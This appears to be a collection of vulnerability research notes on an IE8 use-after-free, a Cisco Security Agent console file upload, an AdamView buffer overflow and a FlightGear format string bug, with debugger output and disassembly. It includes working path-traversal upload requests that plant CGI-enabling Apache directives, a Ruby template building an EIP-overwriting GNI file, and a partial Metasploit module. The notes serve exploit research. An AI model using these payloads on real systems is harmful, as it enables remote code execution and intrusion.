Technical Analysis

This is from crash2, gflags enabled

Originally discovered by Corelanc0d3r, see:
https://www.corelan.be/index.php/2014/05/22/on-cve-2014-1770-zdi-14-140-internet-explorer-8-0day/

Note

This was kept private until an official patch was out from Microsoft

0:008> r
eax=00000000 ebx=00000000 ecx=7c91003d edx=00155000 esi=0cc2ef38 edi=0cc2ef38
eip=63621339 esp=037cfb88 ebp=037cfba4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CSelectionManager::EnsureEditContext+0x30:
63621339 837f1800        cmp     dword ptr [edi+18h],0 ds:0023:0cc2ef50=????????
0:008> !heap -p -a edi
    address 0cc2ef38 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    c6bc350:          cc2e000             2000
    7c927553 ntdll!RtlFreeHeap+0x000000f9
    6375bc86 mshtml!CSelectionManager::`vector deleting destructor'+0x00000022
    6375b528 mshtml!CSelectionManager::Release+0x0000001e
    6358c7b0 mshtml!CSelectionManager::DoPendingElementExit+0x00000211
    6358c61b mshtml!CSelectionManager::DoPendingTasks+0x00000019
    63621335 mshtml!CSelectionManager::EnsureEditContext+0x0000002c
    6361c2bd mshtml!CHTMLEditor::Notify+0x0000005a
    6361c270 mshtml!CHTMLEditorProxy::Notify+0x00000021
    6360feb4 mshtml!CDoc::NotifySelection+0x00000059
    63620f7f mshtml!CCaret::UpdateScreenCaret+0x000000dd
    63784934 mshtml!CCaret::DeferredUpdateCaretScroll+0x00000032
    6364de62 mshtml!GlobalWndOnMethodCall+0x000000fb
    6363c3c5 mshtml!GlobalWndProc+0x00000183
    7e418734 USER32!InternalCallWinProc+0x00000028
    7e418816 USER32!UserCallWinProcCheckWow+0x00000150
    7e4189cd USER32!DispatchMessageWorker+0x00000306
0:008> u
mshtml!CSelectionManager::EnsureEditContext+0x30:
63621339 837f1800        cmp     dword ptr [edi+18h],0
6362133d 0f8423a52300    je      mshtml!CSelectionManager::EnsureEditContext+0x36 (6385b866)
63621343 5f              pop     edi
63621344 c3              ret
63621345 85c0            test    eax,eax
63621347 7ddb            jge     mshtml!CSelectionManager::EnsureEditContext+0x16 (63621324)
63621349 ebf8            jmp     mshtml!CSelectionManager::EnsureEditContext+0x3b (63621343)
6362134b 85c0            test    eax,eax
0:008> k
ChildEBP RetAddr
037cfb88 6361d930 mshtml!CSelectionManager::EnsureEditContext+0x30
037cfba4 6361c2bd mshtml!CSelectionManager::Notify+0x3a
037cfbb8 6361c270 mshtml!CHTMLEditor::Notify+0x5a
037cfbd4 6360feb4 mshtml!CHTMLEditorProxy::Notify+0x21
037cfbf0 63620f7f mshtml!CDoc::NotifySelection+0x59
037cfd14 63784934 mshtml!CCaret::UpdateScreenCaret+0xdd
037cfd24 6364de62 mshtml!CCaret::DeferredUpdateCaretScroll+0x32
037cfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
037cfd78 7e418734 mshtml!GlobalWndProc+0x183
037cfda4 7e418816 USER32!InternalCallWinProc+0x28
037cfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
037cfe6c 7e418a10 USER32!DispatchMessageWorker+0x306
037cfe7c 02562ec9 USER32!DispatchMessageW+0xf
037cfeec 025048bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
037cffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
037cffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
037cffec 00000000 kernel32!BaseThreadStart+0x37

Without gflags

0:008> r
eax=41424344 ebx=03323060 ecx=7c91003d edx=00000014 esi=00234ec8 edi=0000000c
eip=63620f82 esp=0201fc00 ebp=0201fd14 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
mshtml!CCaret::UpdateScreenCaret+0xe0:
63620f82 8b08            mov     ecx,dword ptr [eax]  ds:0023:41424344=????????
0:008> u
mshtml!CCaret::UpdateScreenCaret+0xe0:
63620f82 8b08            mov     ecx,dword ptr [eax]
63620f84 8d54246c        lea     edx,[esp+6Ch]
63620f88 52              push    edx
63620f89 50              push    eax
63620f8a ff512c          call    dword ptr [ecx+2Ch]
63620f8d 33ff            xor     edi,edi
63620f8f 397c246c        cmp     dword ptr [esp+6Ch],edi
63620f93 0f84669e2100    je      mshtml!CCaret::UpdateScreenCaret+0xf3 (6383adff)
0:008> k
ChildEBP RetAddr
0201fd14 63784934 mshtml!CCaret::UpdateScreenCaret+0xe0
0201fd24 6364de62 mshtml!CCaret::DeferredUpdateCaretScroll+0x32
0201fd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
0201fd78 7e418734 mshtml!GlobalWndProc+0x183
0201fda4 7e418816 USER32!InternalCallWinProc+0x28
0201fe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
0201fe6c 7e418a10 USER32!DispatchMessageWorker+0x306
0201fe7c 00cb2ec9 USER32!DispatchMessageW+0xf
0201feec 00c548bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
0201ffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
0201ffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
0201ffec 00000000 kernel32!BaseThreadStart+0x37
0
Technical Analysis

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Cisco Security Agent Management Console. Authentication is not required to exploit this vulnerability.

The flaw exists within the webagent.exe component which is handed requests by an Apache instance that listens by default on TCP port 443. When handling an st_upload request the process does not properly validate POST parameters used for a file creation. The contents of this newly created file are controllable via another POST variable. A remote attacker can exploit this vulnerability to execute arbitrary code under
the context of the SYSTEM user.

Exploit:

http://downloads.securityfocus.com/vulnerabilities/exploits/46420.py

Installation

I’ve done two installations, both in W2003 SP2 (W2003 is the supported
operating system):

  • fcs-csamc-hotfix-5.1.0.117-w2k3-k9.zip
  • fcs-csamc-hotfix-6.0.0.220-w2k3-k9.zip

Both versions can be easily found in Internet googling by the filename.

Testing the PoC

The PoC doesn’t work for me in 5.1.0.117. Reasons

(1) The path and the parameteres. It can be easily fixed…

PoC request modified to write arbitrary contents to arbitrary file:

POST /csamc51/agent HTTP/1.1
Host: localhost
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Content-type: multipart/form-data; boundary=172.16.240.1.501.72115.1350048178.818.1
Content-Length: 786

--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="host_uid"

F0888900-ACF9-4728-8F20-08B3E5BBA3AD
--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="extension"

/../../../../../../../../../../../../test.txt
--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="jobname"


--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="diagsu"

asdfafdsasdffdasdfsaadfsadsfadsfdafsadsf
asdfasdfadsfadfssdfasd
fsadadfsadsfsdafafsd
--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="host"

1234
--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="profiler"


--172.16.240.1.501.72115.1350048178.818.1--

After reversing, other paths can be used to write arbitrary contents to arbitrary files, as sample:

POST /csamc51/agent HTTP/1.1
Host: localhost
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Content-type: multipart/form-data; boundary=172.16.240.1.501.72115.1350048178.818.1
Content-Length: 846

--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="host_uid"

F0888900-ACF9-4728-8F20-08B3E5BBA3AD
--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="extension"

/../../../../../../../../../../../../test.txt
--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="jobname"


--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="diagsu"


--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="diags"


--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="host"

1234
--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="profiler"

Options +Includes +ExecCGI
AddHandler cgi-script gee
--172.16.240.1.501.72115.1350048178.818.1--

(2) the host uid

Its the major reason which makes the PoC fail, the PoC use a hardcoded host uid
to do its requests:

_host_uid = 'C087EFAE-05A2-4A0B-9512-E05E5ED84AEB'

The host uid identifies a cisco agent and is generated while registration of the
agent with the management console.

Both versions, 5.1.0.117 and 6.0.0.220 check the host uid and doesn’t allow
to upload files if it isn’t a registered uid:

Version 5.1.0.117

  • The host uid fields is read and a pointer stored on host_uid_var_1364:
.text:004847F9                 mov     ecx, [ebp+var_1378]
.text:004847FF                 mov     ebx, [ecx]
.text:00484801                 mov     edi, offset aHost_uid ; "host_uid"
.text:00484806                 mov     esi, ebx
.text:00484808                 mov     ecx, 9
.text:0048480D                 xor     edx, edx
.text:0048480F                 repe cmpsb
.text:00484811                 jnz     short loc_48482C
.text:00484813                 mov     eax, [ebp+var_132C]
.text:00484819                 mov     eax, [eax]
.text:0048481B                 call    sub_47AB50
.text:00484820                 mov     [ebp+host_uid_var_1364], eax
.text:00484826                 mov     eax, [ebp+var_132C]
  • Later the Host ID is checked
.text:00484C19 loc_484C19:                             ; CODE XREF: sub_484350+7A3j
.text:00484C19                 lea     eax, [ebp+var_1354]
.text:00484C1F                 push    eax
.text:00484C20                 mov     ecx, [ebp+host_uid_var_1364]
.text:00484C26                 call    check_uid_hostsub_47B7A0 ; check registration of host uid
.text:00484C2B                 add     esp, 4
.text:00484C2E                 test    eax, eax
.text:00484C30                 jz      short loc_484C49 ; if it has been registered
.text:00484C32                 push    offset aHostidIsNotReg ; "Hostid is not registered for upload"
.text:00484C37                 lea     ecx, [ebp+Dest]
.text:00484C3D                 push    ecx             ; Dest
.text:00484C3E                 call    ds:sprintf
.text:00484C44                 jmp     loc_485221

Version 6.0.0.220

  • Get host uid
.text:00489820                 cmp     dword ptr [eax], 0
.text:00489823                 jz      loc_48998A
.text:00489829                 mov     ecx, [ebp+var_137C]
.text:0048982F                 mov     ebx, [ecx]
.text:00489831                 mov     edi, offset aHost_uid ; "host_uid"
.text:00489836                 mov     esi, ebx
.text:00489838                 mov     ecx, 9
.text:0048983D                 xor     edx, edx
.text:0048983F                 repe cmpsb
.text:00489841                 jnz     short loc_48985C
.text:00489843                 mov     eax, [ebp+host_uid_var_132C]
.text:00489849                 mov     eax, [eax]
.text:0048984B                 call    sub_47E760
.text:00489850                 mov     [ebp+var_1368], eax
.text:00489856                 mov     eax, [ebp+host_uid_var_132C]
  • And check it
.text:00489C50
.text:00489C50 loc_489C50:                             ; CODE XREF: sub_489380+7A3j
.text:00489C50                 lea     eax, [ebp+var_1354]
.text:00489C56                 push    eax
.text:00489C57                 mov     ecx, [ebp+var_1368]
.text:00489C5D                 call    sub_47F890
.text:00489C62                 add     esp, 4
.text:00489C65                 test    eax, eax
.text:00489C67                 jz      short loc_489C80
.text:00489C69                 push    offset aHostidIsNotReg ; "Hostid is not registered for upload"
.text:00489C6E                 lea     ecx, [ebp+Dest]
.text:00489C74                 push    ecx             ; Dest
.text:00489C75                 call    ds:sprintf
.text:00489C7B                 jmp     loc_48A272
  • Solutions

The registration doesn’t need authenticaiton (if ACL’s hasn’t been configured
in the management console, by defalut anyone can register).

Options:

(1) Easy: Provide in the module a HOSTUID option, and give instruction about
how to get a valid HOSTUID, basically the user should install a cisco agent,
configure the management console as the victim, and get the legit HOSTUID which
is saved automatically in the configuration file of the agent.
(2) Hard: Reverse the registrarion process. A little tricky because all the
communications go via SSL… anyway… playing with it!
(3) Check check_uid_hostsub_47B7A0 in case there is a bypass for the check
of the host id

  • Who is making the registration??

According to my analysis the registration seems to be done by leventmgr.exe. I’ve get
a wireshark capture of the supposed registration, and I’ve the private key for the server,
but I haven’t been able to decrypt the ssl traffic with the wireshark capabilities (I configured
the SSL private key… still no success).

The pcap file, and the certificate plus the private key for the server component are attached in the
analysis directory.

Next steps: continue with the reversing of leventmgr.exe

Hooking SSL_read and SSL_write from SSLEAY32 is possible to look at the SSL encrypted communication…

02637008  50 4f 53 54 20 2f 63 73-61 6d 63 35 31 2f 61 67  POST /csamc51/ag
02637018  65 6e 74 20 48 54 54 50-2f 31 2e 31 0d 0a 48 6f  ent HTTP/1.1..Ho
02637028  73 74 3a 20 6a 66 65 64-6e 2d 36 65 64 32 64 62  st: jfedn-6ed2db
02637038  36 63 61 38 3a 35 34 30-31 0d 0a 50 72 61 67 6d  6ca8:5401..Pragm
02637048  61 3a 20 6e 6f 2d 63 61-63 68 65 0d 0a 41 63 63  a: no-cache..Acc
02637058  65 70 74 2d 65 6e 63 6f-64 69 6e 67 3a 20 67 7a  ept-encoding: gz
02637068  69 70 0d 0a 43 6f 6e 74-65 6e 74 2d 4c 65 6e 67  ip..Content-Leng
02637078  74 68 3a 20 34 33 32 0d-0a 43 6f 6e 74 65 6e 74  th: 432..Content
02637088  2d 54 79 70 65 3a 20 61-70 70 6c 69 63 61 74 69  -Type: applicati
02637098  6f 6e 2f 78 2d 77 77 77-2d 66 6f 72 6d 2d 75 72  on/x-www-form-ur
026370a8  6c 65 6e 63 6f 64 65 64-0d 0a 0d 0a 0d f0 ad ba  lencoded........
0:035> db 01dbfd39 L1B0
01dbfd39  63 70 61 79 6c 6f 61 64-3d 78 9c 95 51 cb 4e c3  cpayload=x..Q.N.
01dbfd49  30 10 fc 15 5f 2a c1 61-25 32 42 bf 93 c2 29 29  0..._*.a%2B...))
01dbfd59  c9 01 a9 08 a9 15 1c 10-07 27 76 db 40 9a 94 e6  .........'v.@...
01dbfd69  51 54 c4 bf b3 5b 1e 77-64 79 66 34 ab 9d 5d cb  QT...[.wdyf4..].
01dbfd79  17 43 e5 e1 23 4f 73 6b-e2 24 85 79 9c 1b d0 52  .C..#Osk.$.y...R
01dbfd89  25 32 36 10 cf e7 39 58-9d a9 24 cf 52 25 32 35  %26...9X..$.R%25
01dbfd99  4c f4 c9 b6 6d d7 c3 cb-3a f8 06 6c f0 d2 17 b6  L...m...:..l....
01dbfda9  74 31 f3 5d 09 8f 55 e3-db 63 77 b7 9a 48 6e a6  t1.]..U..cw..Hn.
01dbfdb9  72 aa a2 19 47 b9 0c 87-b1 2a 03 aa 7b 57 be 22  r...G....*..{W."
01dbfdc9  49 bc 4f fd f2 19 69 22-e3 ac d9 d4 55 b7 9d c8  I.O...i"....U...
01dbfdd9  19 d9 ef b1 45 5a bb 1d-22 a9 5d eb 43 8d ac a9  ....EZ..".].C...
01dbfde9  a9 eb c3 1e 29 a2 4e c1-a5 5a a4 28 56 6e 73 85  ....).N..Z.(Vns.
01dbfdf9  f4 b0 38 ba 43 25 30 30-43 4d da d3 06 a4 82 42  ..8.C%00CM.....B
01dbfe09  70 04 9c 56 d1 e4 09 09-45 41 31 14 e9 34 01 d9  p..V....EA1..4..
01dbfe19  2a fa 03 2a 14 fc 7b bd-db c1 35 14 ef 4e 6f 43  *..*..{...5..NoC
01dbfe29  38 e1 96 6c 5f f7 ff 7e-ea f5 cf 25 32 42 d9 30  8..l_..~...%2B.0
01dbfe39  40 a6 8c d5 37 c6 02 e7-89 02 21 b5 85 34 8d 24  @...7.....!..4.$
01dbfe49  24 3a b1 2a c2 23 53 ce-da ee 77 06 a5 70 ae 58  $:.*.#S...w..p.X
01dbfe59  bb 73 60 10 25 32 42 90-58 dd 13 16 b5 07 9a cc  .s`.%2B.X.......
01dbfe69  c6 73 6d c4 9a 60 23 b9-42 44 8c fe 49 72 76 a8  .sm..`#.BD..Irv.
01dbfe79  47 74 cb f5 19 7b b7 04-c1 39 bb fc 02 a6 46 85  Gt...{...9....F.
01dbfe89  1c 26 70 61 79 6c 6f 61-64 5f 6c 65 6e 67 74 68  .&payload_length
01dbfe99  3d 34 39 38 26 64 73 74-3d 35 26 61 70 74 79 70  =498&dst=5&aptyp
01dbfea9  65 3d 31 36 26 61 70 76-65 72 73 69 6f 6e 3d 33  e=16&apversion=3
01dbfeb9  26 68 6f 73 74 5f 75 69-64 3d 7b 46 42 46 36 35  &host_uid={FBF65
01dbfec9  38 41 42 2d 43 38 46 35-2d 34 32 32 41 2d 38 43  8AB-C8F5-422A-8C
01dbfed9  43 46 2d 36 34 45 33 41-46 45 42 33 31 35 37 7d  CF-64E3AFEB3157}

now would be nice to find a way to clean the client state and get the full communication to
register a new host. Anyway, this cpayload field doesn’t look very good…. seems like even
over ssl, the payload while registration messages go encoded… more reversing needed here.

1
Technical Analysis

Details

According to the official advisory there is a trivial bof on adamview.exe (Adamview builder):

.text:00475BA0 push    ebx
.text:00475BA1 lea     ecx, [esp+4Ch+String1]
.text:00475BA5 push    offset aDisplayDesigne ; "Display Designer: %s"
.text:00475BAA push    ecx             ; LPSTR
.text:00475BAB mov     esi, eax
.text:00475BAD call    ds:wsprintfA

Indeed the overflow is obvious and can be easily reached with GNI with a display designer window
with a big name.

Inside the file, the designer string is saved as:

2 bytes length / Designer string ending with NULL (0x00)

Since the wsprintf copies the designer name, read from the file, to a stack buffer:

-00000034 String1

It is trival to trigger the overflow:

  def template
    gni = [
      0x41, 0x47, 0x4E, 0x49, 0xAE, 0x01, 0x04, 0x00,
      0xEA, 0x45, 0x20, 0x78, 0x1E, 0x75, 0xF8, 0x18,
      0xDC, 0x45, 0x46, 0xC0, 0x06, 0x2D, 0xF0, 0x20,
      0x92, 0x6D, 0xC0, 0x9C, 0x02, 0x89, 0xF0, 0x44,
      0x06, 0x4D, 0x00, 0x00, 0x48, 0x45, 0x41, 0x44,
      0x16, 0x00, 0x92, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0xFF,
      0x00, 0x00, 0x00, 0x00, 0x80, 0x02, 0xE0, 0x01,
      0x53, 0x57, 0x50, 0x4C, 0x30, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFF, 0xFF,
      0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
      0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE4, 0x02,
      0x00, 0x00, 0x9D, 0x01, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x54,
      0x53, 0x4B, 0x76, 0x00, 0x01, 0x00, 0x00, 0x00,
      0x2A, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,
      0x16, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
      0x54, 0x41, 0x53, 0x4B, 0x31, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0xC8, 0x42, 0x45, 0x54, 0x53, 0x4B, 0x50, 0x57,
      0x50, 0x4C, 0x3D, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x01, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,
      0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
      0xFF, 0xFF, 0xFF, 0xFF, 0x44, 0x00, 0x00, 0x00,
      0x2D, 0x00, 0x00, 0x00, 0x41, 0x03, 0x00, 0x00,
      0xCB, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x01,
      0x00].pack("C*")

    bof = rand_text(target['Offset'])
    bof << [target.ret].pack("V") # eip
    bof << rand_text(4) # padding
    bof << rand_text_alpha_upper(4) # payload
    bof << "\x00"
    gni << [bof.length].pack("v")
    gni << bof

    gni << [0x50, 0x45, 0x4E, 0x44, 0x46, 0x56,
      0x4B, 0x53, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0x45,
      0x54, 0x4B, 0x41, 0x44, 0x41, 0x4D, 0x56, 0x69,
      0x65, 0x77, 0x00, 0xEC, 0x00, 0x00, 0xD0, 0x07,
      0xD0, 0x07, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00,
      0x00, 0x00, 0x5A, 0x45, 0x4F, 0x46
    ].pack("C*")

Unfortunately, there is a heap overflow, previously to the stack overflow, which makes exploitation
super unstable on Windows 7 SP1 (I guess more modern systems too). The same vulnerable function is used
to read the designer name from the file:

.text:00475B38 lea     eax, [esp+48h+var_38]
.text:00475B3C push    2               ; SIZE
.text:00475B3E push    eax             ; DST
.text:00475B3F mov     ecx, esi
.text:00475B41 call    dword ptr [edx+3Ch] ; MFC42!CFile::Read, it's reading the size
.text:00475B44 mov     eax, [esp+48h+var_38]
.text:00475B48 mov     edx, [esi]      ; {MFC42!CFile::`vftable'} => [esi]
.text:00475B4A and     eax, 0FFFFh
.text:00475B4F mov     ecx, esi
.text:00475B51 push    eax             ; size
.text:00475B52 push    ebx             ; dst
.text:00475B53 call    dword ptr [edx+3Ch] ; MFC42!CFile::Read
.text:00475B56 push    ebx             ; Str
.text:00475B57 call    ds:_strupr      ; uppercase

First 2 bytes are read from the file, and stored in the stack. It is the Designer string length.

After it, this length size is read from the file and stored in the memory pointed by ebx:

00475B24 lea     ebx, [edi+2F1h]

ebx pointes to an offset inside edi, which points to a buffer in the heap. Where this heap buffer
comes from from?:

0:000> !heap -p -a 08af2ec9
    address 08af2ec9 found in
    _DPH_HEAP_ROOT @ 1a21000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 8aa12a4:          8af2bd8              428 -          8af2000             2000
          ? ADAMView!DlgProc+1d4c8
    732b8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77355e26 ntdll!RtlDebugAllocateHeap+0x00000030
    7731a376 ntdll!RtlpAllocateHeap+0x000000c4
    772e5ae0 ntdll!RtlAllocateHeap+0x0000023a
    75db9d45 msvcrt!malloc+0x0000008d
    6f5eff9e MFC42!operator new+0x00000015
    00474790 ADAMView!ColorBox::ColorBoxDlgSubclassProc+0x00014ac0
    6f5ffef3 MFC42!CFrameWnd::CreateView+0x00000017
    6f5ffec6 MFC42!CFrameWnd::OnCreateClient+0x0000001c
    6f600ac3 MFC42!CFrameWnd::OnCreateHelper+0x00000031
    6f600a8e MFC42!CMDIChildWnd::OnCreate+0x00000014
    6f5feadb MFC42!CWnd::OnWndMsg+0x00000272
    6f5f3687 MFC42!CWnd::WindowProc+0x0000002e
    6f5fa361 MFC42!AfxCallWndProc+0x000000b5
    6f5fa2b9 MFC42!AfxWndProc+0x0000003e
    6f5fa571 MFC42!AfxWndProcBase+0x00000057
    75a0c4e7 USER32!InternalCallWinProc+0x00000023
    75a05f9f USER32!UserCallWinProcCheckWow+0x000000e0
    75a04f0e USER32!DispatchClientMessage+0x000000da
    759fe98a USER32!__fnINLPCREATESTRUCT+0x0000008b
    772d6fee ntdll!KiUserCallbackDispatcher+0x0000002e
    759fec54 USER32!_CreateWindowEx+0x00000201
    759fbf73 USER32!CreateWindowExA+0x00000033
    75a1f67c USER32!MDIClientWndProcWorker+0x000003b7
    75a22bca USER32!MDIClientWndProcA+0x00000022
    75a0c4e7 USER32!InternalCallWinProc+0x00000023
    75a0c5e7 USER32!UserCallWinProcCheckWow+0x0000014b
    75a05294 USER32!SendMessageWorker+0x000004d0
    759fada9 USER32!SendMessageA+0x0000007c
    6f600a10 MFC42!CMDIChildWnd::Create+0x000000fe
    6f6000dc MFC42!CMDIChildWnd::LoadFrame+0x000000c7
    6f60120e MFC42!CDocTemplate::CreateNewFrame+0x00000067

It’s a 0x428 buffer allocated on sub_474770

.text:0047477D push    eax
.text:0047477E mov     large fs:0, esp
.text:00474785 push    ecx
.text:00474786 push    428h            ; unsigned int
.text:0047478B call    ??2@YAPAXI@Z    ; operator new

Since the string read from the file is copied to offset 0x271, it lefts 311 bytes before
the heap buffer is overflowed.

Unfortunately, just after read the string from the file and store it in the heap, it happens:

.text:00475B53 call    dword ptr [edx+3Ch] ; MFC42!CFile::Read
.text:00475B56 push    ebx             ; Str
.text:00475B57 call    ds:_strupr      ; uppe

The string in the heap is converted to uppercase. It means a lot of “badchars”. So overflowing
EIP and storing the payload on 311 bytes doesn’t look feasible (at least usign the upper
encoder).

Of course, we can overflow the heap and pry for the execution to reach the stack overflow and
the ret. Unfortunately too many things happen between the heap and the stack overflow:

.text:00475B57                 call    ds:_strupr      ; uppercase
.text:00475B5D                 add     esp, 4
.text:00475B60                 lea     ecx, [esp+48h+String1]
.text:00475B64                 push    ebx             ; lpString2
.text:00475B65                 push    ecx             ; lpString1
.text:00475B66                 call    ds:lstrcmpA
.text:00475B6C                 test    eax, eax
.text:00475B6E                 jz      short loc_475B80
.text:00475B70                 lea     edx, [esp+48h+String1]
.text:00475B74                 push    ebx             ; char *
.text:00475B75                 push    edx             ; char *
.text:00475B76                 mov     ecx, offset unk_4BEEA8 ; this
.text:00475B7B                 call    ?ChangeTaskName@CDBCenter@@QAEKPBD0@Z ; CDBCenter::ChangeTaskName(char const *,char const *)
.text:00475B80
.text:00475B80 loc_475B80:                             ; CODE XREF: sub_475AA0+CEj
.text:00475B80                 mov     eax, [esi]
.text:00475B82                 push    0
.text:00475B84                 push    ebp
.text:00475B85                 mov     ecx, esi
.text:00475B87                 call    dword ptr [eax+30h]
.text:00475B8A                 push    esi             ; hMem
.text:00475B8B                 mov     ecx, edi
.text:00475B8D                 call    sub_479950
.text:00475B92                 mov     ecx, edi
.text:00475B94                 call    sub_475980
.text:00475B99                 mov     ecx, edi        ; this
.text:00475B9B                 call    ?GetParentFrame@CWnd@@QBEPAVCFrameWnd@@XZ ; CWnd::GetParentFrame(void)
.text:00475BA0                 push    ebx
.text:00475BA1                 lea     ecx, [esp+4Ch+String1]
.text:00475BA5                 push    offset aDisplayDesigne ; "Display Designer: %s"
.text:00475BAA                 push    ecx             ; LPSTR
.text:00475BAB                 mov     esi, eax
.text:00475BAD                 call    ds:wsprintfA

On windows 7 SP1 the heap is used between the overflows, and the corrupted heap makes the process to crash before
reaching the stack overflow and control EIP later.

Also egghunting doesn’t look a good option, because all the file contents aren’t in memory at the moment of the overflow.

So for example adding the payload as garbage at the end of the file, results with the payload not in memory when
controlling EIP :...

Even when the HEAP overflow isn’t reported in the core advisory, and there are probably a lot of other vulnerabilities,
the software is unsupported atm. Even the CORE vuln wasn’t fixed, so I don’t think it’s worth to invest more time here.

1
Technical Analysis
  • Vuln analysis:

In source code:

  double count = acloud->getDoubleValue("count", 1.0);
    tCloudVariety[CloudVarietyCount].count = count;
    int variety = 0;
    cloud_name = cloud_name + "-%d";
    char variety_name[50];
    do {
         variety++;
         snprintf(variety_name, sizeof(variety_name) - 1, cloud_name.c_str(), variety); // Vulnerable snprintf
    } while( box_def_root->getChild(variety_name, 0, false) );
    totalCount += count;
    if( CloudVarietyCount < 20 )
         CloudVarietyCount++;
  }
}

totalCount = 1.0 / totalCount;
  • PoC:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FlightGear Format String',
      'Description'    => %q{
          This module exploits .....
      },
      'Author'         => [ 'juan vazquez' ],
      'License'        => MSF_LICENSE,
